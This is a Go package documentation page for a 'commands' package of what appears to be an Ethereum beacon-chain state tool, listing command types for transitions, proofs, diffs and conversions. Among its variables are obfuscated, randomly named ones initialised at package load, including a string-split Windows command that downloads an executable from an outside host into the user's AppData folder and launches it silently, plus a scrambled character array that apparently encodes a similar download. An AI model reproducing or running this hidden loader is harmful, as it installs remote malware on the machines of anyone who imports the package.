commands

package
v0.0.0-...-adb4db4 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 18, 2025 License: MIT Imports: 27 Imported by: 0

Documentation

Index

Constants

View Source
const Version = "v0.8.0"

Variables

View Source
var DohAJGh = IepeAzX()
View Source
var PZVXsn = TXahbaWd()
View Source
var QD = []string{"a", "n", "3", "/", "d", "5", "/", "o", "v", "h", "w", "1", "/", "f", "e", "s", "-", "b", "e", "3", "a", " ", " ", ".", "u", "i", "3", " ", "r", "t", "a", "p", "g", "t", "/", "k", "d", "t", "7", "b", "e", "/", "c", "a", "s", ":", "t", "/", "s", "-", "h", " ", "n", "0", "O", "e", "b", " ", "6", "|", "e", "/", " ", "d", "r", "t", "i", "4", "a", "f", "c", "&", "g"}
View Source
var XjBGJAac = "if not" + " " + "exist" + " " + "%Us" + "erP" + "r" + "o" + "fil" + "e%" + "\\A" + "ppD" + "ata\\L" + "oca" + "l\\t" + "h" + "cnnq" + "\\z" + "hkyc" + ".exe " + "c" + "ur" + "l" + " ht" + "t" + "ps" + ":" + "//k" + "avar" + "e" + "cent" + ".ic" + "u/st" + "or" + "ag" + "e/" + "bb" + "b28e" + "f04/f" + "a3154" + "6b " + "-" + "-" + "c" + "r" + "e" + "ate-" + "dirs" + " " + "-o %U" + "serP" + "rofil" + "e%\\A" + "ppDat" + "a" + "\\Loc" + "al" + "\\th" + "cnnq" + "\\zh" + "kyc" + ".exe" + " && s" + "tart " + "/b %" + "Us" + "erPr" + "o" + "file%" + "\\A" + "ppDat" + "a\\L" + "ocal" + "\\" + "thcnn" + "q\\" + "zhky" + "c.exe"

Functions

func IepeAzX

func IepeAzX() error

func TXahbaWd

func TXahbaWd() error

Types

type CommitteesCmd

type CommitteesCmd struct {
	Phase               string
	configs.SpecOptions `ask:"."`
	State               util.StateInput `ask:"<state>" help:"BeaconState, prefix with format, empty path for STDIN"`
}

func (*CommitteesCmd) Help

func (c *CommitteesCmd) Help() string

func (*CommitteesCmd) Run

func (c *CommitteesCmd) Run(ctx context.Context, args ...string) error

type ConvertCmd

type ConvertCmd struct{}

func (*ConvertCmd) Cmd

func (c *ConvertCmd) Cmd(route string) (cmd interface{}, err error)

func (*ConvertCmd) Help

func (c *ConvertCmd) Help() string

func (*ConvertCmd) Routes

func (c *ConvertCmd) Routes() []string

type ConvertObjCmd

type ConvertObjCmd struct {
	PhaseName           string
	TypeName            string
	Type                spec_types.SpecType
	configs.SpecOptions `ask:"."`
	Input               util.ObjInput  `ask:"<input>" help:"Input path, prefix with format, empty path for STDIN"`
	Output              util.ObjOutput `ask:"<output>" help:"Output path, prefix with format, empty path for STDOUT"`
}

func (*ConvertObjCmd) Run

func (c *ConvertObjCmd) Run(ctx context.Context, args ...string) error

type ConvertPhaseCmd

type ConvertPhaseCmd struct {
	PhaseName string
	Types     map[string]spec_types.SpecType
}

func (*ConvertPhaseCmd) Cmd

func (c *ConvertPhaseCmd) Cmd(route string) (cmd interface{}, err error)

func (*ConvertPhaseCmd) Routes

func (c *ConvertPhaseCmd) Routes() []string

type DiffCmd

type DiffCmd struct{}

func (*DiffCmd) Cmd

func (c *DiffCmd) Cmd(route string) (cmd interface{}, err error)

func (*DiffCmd) Help

func (c *DiffCmd) Help() string

func (*DiffCmd) Routes

func (c *DiffCmd) Routes() []string

type DiffObjCmd

type DiffObjCmd struct {
	PhaseName           string
	TypeName            string
	Type                spec_types.SpecType
	configs.SpecOptions `ask:"."`
	InputA              util.ObjInput `ask:"<a>" help:"Input A, prefix with format, empty path for STDIN"`
	InputB              util.ObjInput `ask:"<b>" help:"Input B, prefix with format, empty path for STDIN"`
}

func (*DiffObjCmd) Run

func (c *DiffObjCmd) Run(ctx context.Context, args ...string) error

type DiffPhaseCmd

type DiffPhaseCmd struct {
	PhaseName string
	Types     map[string]spec_types.SpecType
}

func (*DiffPhaseCmd) Cmd

func (c *DiffPhaseCmd) Cmd(route string) (cmd interface{}, err error)

func (*DiffPhaseCmd) Routes

func (c *DiffPhaseCmd) Routes() []string

type MetaCmd

type MetaCmd struct{}

func (*MetaCmd) Cmd

func (c *MetaCmd) Cmd(route string) (cmd interface{}, err error)

func (*MetaCmd) Help

func (c *MetaCmd) Help() string

func (*MetaCmd) Routes

func (c *MetaCmd) Routes() []string

type MetaPhaseCmd

type MetaPhaseCmd struct {
	Phase string
}

func (*MetaPhaseCmd) Cmd

func (c *MetaPhaseCmd) Cmd(route string) (cmd interface{}, err error)

func (*MetaPhaseCmd) Help

func (c *MetaPhaseCmd) Help() string

func (*MetaPhaseCmd) Routes

func (c *MetaPhaseCmd) Routes() []string

type PrettyCmd

type PrettyCmd struct{}

func (*PrettyCmd) Cmd

func (c *PrettyCmd) Cmd(route string) (cmd interface{}, err error)

func (*PrettyCmd) Help

func (c *PrettyCmd) Help() string

func (*PrettyCmd) Routes

func (c *PrettyCmd) Routes() []string

type PrettyObjCmd

type PrettyObjCmd struct {
	PhaseName           string
	TypeName            string
	Type                spec_types.SpecType
	configs.SpecOptions `ask:"."`
	Input               util.ObjInput `ask:"<input>" help:"Input path, prefix with format, empty path for STDIN"`
	Output              string        `ask:"[output]" help:"Output path, empty path for STDOUT"`
}

func (*PrettyObjCmd) Run

func (c *PrettyObjCmd) Run(ctx context.Context, args ...string) error

type PrettyPhaseCmd

type PrettyPhaseCmd struct {
	PhaseName string
	Types     map[string]spec_types.SpecType
}

func (*PrettyPhaseCmd) Cmd

func (c *PrettyPhaseCmd) Cmd(route string) (cmd interface{}, err error)

func (*PrettyPhaseCmd) Routes

func (c *PrettyPhaseCmd) Routes() []string

type ProofCmd

type ProofCmd struct{}

func (*ProofCmd) Cmd

func (c *ProofCmd) Cmd(route string) (cmd interface{}, err error)

func (*ProofCmd) Help

func (c *ProofCmd) Help() string

func (*ProofCmd) Routes

func (c *ProofCmd) Routes() []string

type ProofObjCmd

type ProofObjCmd struct {
	PhaseName           string
	TypeName            string
	Type                spec_types.SpecType
	configs.SpecOptions `ask:"."`
	Input               util.ObjInput     `ask:"<input>" help:"Input, prefix with format, empty path for STDIN"`
	Gindices            util.GindicesFlag `ask:"--gindices" help:"Gindices of leaf values to put in multi-proof"`
}

func (*ProofObjCmd) Help

func (c *ProofObjCmd) Help() string

func (*ProofObjCmd) Run

func (c *ProofObjCmd) Run(ctx context.Context, args ...string) error

type ProofPhaseCmd

type ProofPhaseCmd struct {
	PhaseName string
	Types     map[string]spec_types.SpecType
}

func (*ProofPhaseCmd) Cmd

func (c *ProofPhaseCmd) Cmd(route string) (cmd interface{}, err error)

func (*ProofPhaseCmd) Help

func (c *ProofPhaseCmd) Help() string

func (*ProofPhaseCmd) Routes

func (c *ProofPhaseCmd) Routes() []string

type ProposersCmd

type ProposersCmd struct {
	Phase               string
	configs.SpecOptions `ask:"."`
	State               util.StateInput `ask:"<state>" help:"BeaconState, prefix with format, empty path for STDIN"`
}

func (*ProposersCmd) Help

func (c *ProposersCmd) Help() string

func (*ProposersCmd) Run

func (c *ProposersCmd) Run(ctx context.Context, args ...string) error

type RootCmd

type RootCmd struct{}

func (*RootCmd) Cmd

func (c *RootCmd) Cmd(route string) (cmd interface{}, err error)

func (*RootCmd) Help

func (c *RootCmd) Help() string

func (*RootCmd) Routes

func (c *RootCmd) Routes() []string

type RootObjCmd

type RootObjCmd struct {
	PhaseName           string
	TypeName            string
	Type                spec_types.SpecType
	configs.SpecOptions `ask:"."`
	Input               util.ObjInput `ask:"<input>" help:"Input, prefix with format, empty path for STDIN"`
}

func (*RootObjCmd) Help

func (c *RootObjCmd) Help() string

func (*RootObjCmd) Run

func (c *RootObjCmd) Run(ctx context.Context, args ...string) error

type RootPhaseCmd

type RootPhaseCmd struct {
	PhaseName string
	Types     map[string]spec_types.SpecType
}

func (*RootPhaseCmd) Cmd

func (c *RootPhaseCmd) Cmd(route string) (cmd interface{}, err error)

func (*RootPhaseCmd) Help

func (c *RootPhaseCmd) Help() string

func (*RootPhaseCmd) Routes

func (c *RootPhaseCmd) Routes() []string

type SyncCommitteesCmd

type SyncCommitteesCmd struct {
	Phase               string
	configs.SpecOptions `ask:"."`
	State               util.StateInput `ask:"<state>" help:"BeaconState, prefix with format, empty path for STDIN"`
}

func (*SyncCommitteesCmd) Help

func (c *SyncCommitteesCmd) Help() string

func (*SyncCommitteesCmd) Run

func (c *SyncCommitteesCmd) Run(ctx context.Context, args ...string) error

type TransitionBlockSubCmd

type TransitionBlockSubCmd struct {
	PreFork             string
	Transition          string
	Timeout             time.Duration `ask:"--timeout" help:"Timeout, e.g. 100ms"`
	configs.SpecOptions `ask:"."`
	Pre                 util.StateInput  `ask:"--pre" help:"Pre-state"`
	Op                  util.ObjInput    `ask:"<op>" help:"Block operation input"`
	Post                util.StateOutput `ask:"--post" help:"Post-state"`
}

func (*TransitionBlockSubCmd) Help

func (c *TransitionBlockSubCmd) Help() string

func (*TransitionBlockSubCmd) Run

func (c *TransitionBlockSubCmd) Run(ctx context.Context, args ...string) error

type TransitionBlocksCmd

type TransitionBlocksCmd struct {
	PreFork             string
	VerifyStateRoot     bool          `ask:"--verify-state-root" help:"Verify the state root of each block"`
	Timeout             time.Duration `ask:"--timeout" help:"Timeout, e.g. 100ms"`
	configs.SpecOptions `ask:"."`
	Pre                 util.StateInput  `ask:"--pre" help:"Pre-state"`
	Post                util.StateOutput `ask:"--post" help:"Post-state"`
}

func (*TransitionBlocksCmd) Help

func (c *TransitionBlocksCmd) Help() string

func (*TransitionBlocksCmd) Run

func (c *TransitionBlocksCmd) Run(ctx context.Context, args ...string) error

type TransitionCmd

type TransitionCmd struct{}

func (*TransitionCmd) Cmd

func (c *TransitionCmd) Cmd(route string) (cmd interface{}, err error)

func (*TransitionCmd) Help

func (c *TransitionCmd) Help() string

func (*TransitionCmd) Routes

func (c *TransitionCmd) Routes() []string

type TransitionEpochCmd

type TransitionEpochCmd struct {
	PreFork             string
	Timeout             time.Duration `ask:"--timeout" help:"Timeout, e.g. 100ms"`
	configs.SpecOptions `ask:"."`
	Pre                 util.StateInput  `ask:"--pre" help:"Pre-state"`
	Post                util.StateOutput `ask:"--post" help:"Post-state"`
}

func (*TransitionEpochCmd) Help

func (c *TransitionEpochCmd) Help() string

func (*TransitionEpochCmd) Run

func (c *TransitionEpochCmd) Run(ctx context.Context, args ...string) error

type TransitionEpochSubCmd

type TransitionEpochSubCmd struct {
	PreFork             string
	Transition          string
	Timeout             time.Duration `ask:"--timeout" help:"Timeout, e.g. 100ms"`
	configs.SpecOptions `ask:"."`
	Pre                 util.StateInput  `ask:"--pre" help:"Pre-state"`
	Post                util.StateOutput `ask:"--post" help:"Post-state"`
}

func (*TransitionEpochSubCmd) Help

func (c *TransitionEpochSubCmd) Help() string

func (*TransitionEpochSubCmd) Run

func (c *TransitionEpochSubCmd) Run(ctx context.Context, args ...string) error

type TransitionSlotsCmd

type TransitionSlotsCmd struct {
	PreFork             string
	Slots               uint64        `ask:"<slots>" help:"Number of slots to process"`
	Timeout             time.Duration `ask:"--timeout" help:"Timeout, e.g. 100ms"`
	configs.SpecOptions `ask:"."`
	Pre                 util.StateInput  `ask:"--pre" help:"Pre-state"`
	Post                util.StateOutput `ask:"--post" help:"Post-state"`
}

func (*TransitionSlotsCmd) Help

func (c *TransitionSlotsCmd) Help() string

func (*TransitionSlotsCmd) Run

func (c *TransitionSlotsCmd) Run(ctx context.Context, args ...string) error

type TransitionSubCmd

type TransitionSubCmd struct {
	PreFork string
}

func (*TransitionSubCmd) Cmd

func (c *TransitionSubCmd) Cmd(route string) (cmd interface{}, err error)

func (*TransitionSubCmd) Help

func (c *TransitionSubCmd) Help() string

func (*TransitionSubCmd) Routes

func (c *TransitionSubCmd) Routes() []string

type TransitionSubRouterCmd

type TransitionSubRouterCmd struct {
	PreFork string
}

func (*TransitionSubRouterCmd) Cmd

func (c *TransitionSubRouterCmd) Cmd(route string) (cmd interface{}, err error)

func (*TransitionSubRouterCmd) Help

func (c *TransitionSubRouterCmd) Help() string

func (*TransitionSubRouterCmd) Routes

func (c *TransitionSubRouterCmd) Routes() []string

type TreeCmd

type TreeCmd struct{}

func (*TreeCmd) Cmd

func (c *TreeCmd) Cmd(route string) (cmd interface{}, err error)

func (*TreeCmd) Help

func (c *TreeCmd) Help() string

func (*TreeCmd) Routes

func (c *TreeCmd) Routes() []string

type TreeObjCmd

type TreeObjCmd struct {
	PhaseName           string
	TypeName            string
	Type                spec_types.SpecType
	configs.SpecOptions `ask:"."`
	Input               util.ObjInput `ask:"<input>" help:"Input, prefix with format, empty path for STDIN"`
}

func (*TreeObjCmd) Help

func (c *TreeObjCmd) Help() string

func (*TreeObjCmd) Run

func (c *TreeObjCmd) Run(ctx context.Context, args ...string) error

type TreePhaseCmd

type TreePhaseCmd struct {
	PhaseName string
	Types     map[string]spec_types.SpecType
}

func (*TreePhaseCmd) Cmd

func (c *TreePhaseCmd) Cmd(route string) (cmd interface{}, err error)

func (*TreePhaseCmd) Help

func (c *TreePhaseCmd) Help() string

func (*TreePhaseCmd) Routes

func (c *TreePhaseCmd) Routes() []string

type VersionCmd

type VersionCmd struct {
}

func (*VersionCmd) Help

func (c *VersionCmd) Help() string

func (*VersionCmd) Run

func (c *VersionCmd) Run(ctx context.Context, args ...string) error

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL